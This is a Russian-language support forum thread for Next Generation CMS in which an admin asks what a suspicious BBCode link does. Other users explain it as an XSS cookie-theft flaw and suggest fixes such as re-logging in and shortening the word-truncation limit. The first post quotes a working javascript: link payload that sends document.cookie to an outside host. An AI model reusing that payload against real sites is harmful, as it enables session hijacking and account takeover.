Что делает следующий код?

Luca · 2009-06-11 19:12:02

Мне тут сообщили что в движке есть дырка и прислали код

[url=javascript:location.replace("http://bestwebart.ru/a.php?"+document.cookie)]Мессага[/url]

Как я поинмаю эта штука ворует кукисы. верно? На сколько это опасно и как это исправить? Чем для меня как админа может вылиться переход по этой ссылке?

Отредактировано Luca (2009-06-11 19:12:17)

infinity237 · 2009-06-11 19:36:09

1. В 0.9.0 Release действительно были свои активные XSS уязвимости, в комментариях, в SVN версии уже закрыты.
2. Если у тебя стоит "Автоурезание слов в комментариях" = 50, то код порежется и не обработается парсером.
3. В 0.9.0 Release, если ты перешёл по ссылке, то тебе лучше всего сменить пароль, т.к. ты в таком случае потенциально уязвим.
Скрипту отправляется инфа: PHPSESSID=сессия; zz_auth=cookie; com_username=логин; com_usermail=e-mail
Т.е. фактически можно расшифровать по cookie твой пароль.

P.S. Это называется php sniffer.

Отредактировано infinity237 (2009-06-11 19:38:49)

insider · 2009-06-11 19:40:21

Пароль расшифровать нельзя, можно cookie подставить и зайти под сеансом админа
Нужно разлогиниться и залогиниться обратно, этого достаточно

infinity237 · 2009-06-11 19:45:39

Пароль расшифровать нельзя

o_O

Можно объяснить почему это нельзя?

insider · 2009-06-11 19:55:19

Хорошо, тогда расшифруй 6c1facadd7c364630508e7ee5756ad85
zz_auth -- идентификатор сессии, он же содержится в поле authcookie таблицы юзеров

infinity237 · 2009-06-11 20:04:15

Прошу прощения, действительно был не прав...
Всё сделано по-хитрожопому... )

Luca · 2009-06-11 20:11:55

А что дает автоурезание слов? Оно кукисы на выходе порежет? Просто в CMS есть баг из-за которого длинные ссылки дать нельзя -они урезаются "урезателем длинных слов", так что приходится ставить максимальную длинну слова в несколько сотен символов.

infinity237 · 2009-06-11 20:39:17

автоурезание как раз и не даёт таким ссылкам пройти...

mittus · 2010-01-27 05:30:03

Luca пишет:

А что дает автоурезание слов? Оно кукисы на выходе порежет? Просто в CMS есть баг из-за которого длинные ссылки дать нельзя -они урезаются "урезателем длинных слов", так что приходится ставить максимальную длинну слова в несколько сотен символов.

Лучше на 20 поставить, ссылочки в комментариях не так важны, как безопасность. При желании можно и поудалять пробельчики, если нужно перейти по ссылке :)

Next Generation CMS :: Форум поддержки

Объявление

#1 2009-06-11 19:12:02

Что делает следующий код?

#2 2009-06-11 19:36:09

Re: Что делает следующий код?

#3 2009-06-11 19:40:21

Re: Что делает следующий код?

#4 2009-06-11 19:45:39

Re: Что делает следующий код?

#5 2009-06-11 19:55:19

Re: Что делает следующий код?

#6 2009-06-11 20:04:15

Re: Что делает следующий код?

#7 2009-06-11 20:11:55

Re: Что делает следующий код?

#8 2009-06-11 20:39:17

Re: Что делает следующий код?

#9 2010-01-27 05:30:03

Re: Что делает следующий код?

Подвал форума